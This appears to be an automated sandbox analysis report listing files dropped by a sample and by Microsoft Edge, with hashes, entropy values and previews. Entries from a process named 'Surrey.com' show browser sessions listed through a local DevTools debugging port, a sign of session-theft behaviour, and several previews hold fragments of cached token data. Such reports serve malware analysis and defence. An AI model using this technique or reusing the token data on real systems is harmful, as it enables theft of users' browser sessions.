Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	4.992999649354656
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclSgXVPXDKYVn:YWLSGTt1o9LuLgfGBPAzkVj/T8lSgZXF
MD5:	F2D11F665152DFC2C6474072383ED14D
SHA1:	2FF457F86378A63862ECED90A41B767722412C74
SHA-256:	A3CD9B1E87C637C7863CA0A2665B9402C1634D4DEEC585E2BD82C2E4105321B2
SHA-512:	87BDE05CC1BE5501310BDDDD773C144BC0A11B04F880D98D3917806D42757ECE73F8B9F01306C85C5A43B193280CF1BBB266284D2F95DB602ADB6A81A637234B
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1737762013211416}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQw:YQ3Kq9X0dMgAEwj2
MD5:	16B7586B9EBA5296EA04B791FC3D675E
SHA1:	8890767DD7EB4D1BEAB829324BA8B9599051F0B0
SHA-256:	474D668707F1CB929FEF1E3798B71B632E50675BD1A9DCEAAB90C9587F72F680
SHA-512:	58668D0C28B63548A1F13D2C2DFA19BCC14C0B7406833AD8E72DFC07F46D8DF6DED46265D74A042D07FBC88F78A59CB32389EF384EC78A55976DFC2737868771
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\c7a7e106-f468-40cf-a122-8c21395a9aaa.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	47066
Entropy (8bit):	6.089773892824564
Encrypted:	false
SSDEEP:	768:7MkbJ6eg6KzhXRLrDn570aU/zDtoCxIciTrPsBtlOrAg6C9o98KcNqXBSs5mPVMD:7Mk16zRRvDn+oCxDBtwrGkoGKKqxSs08
MD5:	09CED7B3050BD350B5CC841AE6D14803
SHA1:	60F7D7FBCDB7FAAD4A39E3455DBDB0E63CFA26FA
SHA-256:	BC32CCFAC7C6CD4BF03BB5EAB20B687E3D06E1C4FE80690903CB37903EB753D1
SHA-512:	78D0CA4D1F659E996FD4F272541CDF3056109AC3C00BC4FDD5CBC5B28D0F4F0C9F88537B52E68078F4009EE170C50D227C14CFA01B09CCA1C16718723F88A54B
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"4cde6d03-ed1b-4b64-9832-279d036ea697"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1737661213"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMs

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.8434405230975077
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxCxl9Il8u/45Uqq2ygQlQJSlCBf0td1rc:m7YZ4mqq2ygQzlCBR
MD5:	A9C9A3AB89E4AE98CC19A68F07180201
SHA1:	09E12805F2C74C893C7BCB6DCD00285B0EE205A1
SHA-256:	419AB86B332EBF00091085DA7B0B1CE72CC8C431C850BAD87996B4510AA83B20
SHA-512:	F693814C15E8FE9F48AE574916FE73EF937A9B2369B1F71390EABE043CABFF3F8F7082780B21B9FBC2AD5BE64130C450EDB23EB8890FD4531D1B14DDB7E4A7DC
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".g.H.R.r.A.N.d.t.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.b.I.K.O.u.J.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	3.9992873468999957
Encrypted:	false
SSDEEP:	96:YYZu+MH1lEe/gOmMee2Mj6cU2Ilgtc8hOHcc0COpffJpRIv:YSu+UlX/hmMe0jnIlx8hOl0lpppev
MD5:	6F5EC5BBBFF63A0211ED12A60533D512
SHA1:	21A7D0719D2609F677A6078F884744F94432B2B6
SHA-256:	4345E9A04FD34859EAF7B66A61D85D9B7BAFEED7DA62B51FA59102772773ABD7
SHA-512:	C7F9F1158E20B621141838C6D0CBF06BDA131701A8862675F9BA4423BADD1D053ADC98C2992B97DAD71881AC40B59F1F4A9417056E71A1B6E5695A2AC4E2562F
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".7.8.9.9.5.s.5.t.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.b.I.K.O.u.J.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.907393656674698
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xYxl9Il8u/T0n+pPpoefAUoJvY+gIn/JN4vAxpd/vc:a6YZT0n+Bp5fAUz+dhNTI
MD5:	1F05D06C1726287537817B6D5F96CDCF
SHA1:	117128BDE42603D33A1C1CA34ED449CC0BA64785
SHA-256:	406770D7058D1A687855120D688EE3F2F81F9676198DAF8AEC722DFDF46CA18C
SHA-512:	94A4D929D23540D5DE2FB8929A1F58818D69F5C56D324840B34161B110739DD15AC28F2F013E8ED700783026BE34012EF7529987D2717C984F54AD48F79C2EF7
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".r.k.s.B.F.q.C.M.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.b.I.K.O.u.J.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\1M8V7EFU\json[1].json

Download File

Process:	C:\Users\user\AppData\Local\Temp\634977\Surrey.com
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.3622149488461295
Encrypted:	false
SSDEEP:	48:SfNaoCDPWh7P2TECDPGfNaoCr6dCrgfNaoCRCpfNaoCH0UrU0U8CF:6NnCDeh7uTECDWNnCr6dCrsNnCRCFNnx
MD5:	6404E481A52505951B749CA85DF3073B
SHA1:	D31406E67DE882ACC17E83C73163E369F1949EEC
SHA-256:	4DD38BFD779B0B4598887F75DEB71F9AB588E15487227D12327D2FEA0B9F4942
SHA-512:	476416A3075537E97EB017A244BB0E0D3649B2FC221788FD7A4F16C3D52BD47CDB92EDCDBECD2EB51C1C0899F046F5A54410D44492A789DFE55D8643F17CEDC2
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9223/devtools/page/E7DD8C489597BCD7893B51252B517A3B",.. "id": "E7DD8C489597BCD7893B51252B517A3B",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9223/devtools/page/E7DD8C489597BCD7893B51252B517A3B"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9223/devtools/page/4E58ACE00313C7BFFD7FAEEFC05A4C1B",.. "id": "4E58ACE00313C7BFFD7FAEEFC05A4C1B",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9223/devtools/page/4E58ACE00313C7BFFD7FAEEFC05A4C1B"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9223/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\SO5P5JOY\json[1].json

Download File

Process:	C:\Users\user\AppData\Local\Temp\634977\Surrey.com
File Type:	JSON data
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	5.398154454673917
Encrypted:	false
SSDEEP:	96:6NnCiHCpNnC21xbC2ANnCM9CoNnCRdgEC3NnCmDCmgNnC26gDC2jNnC/8wC/vNnt:6NaNANdNKYNsN56g1jN481vNt
MD5:	9429AB982E4905BDF2F882D54EC2B93C
SHA1:	1E0B864A5ED7788DC6ADD85C230B45088B5EF8F7
SHA-256:	E33B402F96E6902B2F460CD4C89E9FC6B11F2BF87BDD2F30F4610631E6196288
SHA-512:	0809CC1E8F64C6DB1704B64288117D69DA5006C0F27DB04EE53C593F65DD0A5207A4C38BCCA097F2C4062453C87C42C13778187769210E0430485E4FD7F8C557
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9223/devtools/page/B346A651CF5F14B1E98E9D0E1E09E27B",.. "id": "B346A651CF5F14B1E98E9D0E1E09E27B",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9223/devtools/page/B346A651CF5F14B1E98E9D0E1E09E27B"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9223/devtools/page/A57BB049BDFFD1264737AE3EC1C23033",.. "id": "A57BB049BDFFD1264737AE3EC1C23033",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9223/devtools/page/A57BB049BDFFD1264737AE3EC1C23033"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Temp\03048e33-74cc-40d9-94ad-9df70fbdee9a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\438a76d1-de5d-4ab0-8809-4e5ec47a1200.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
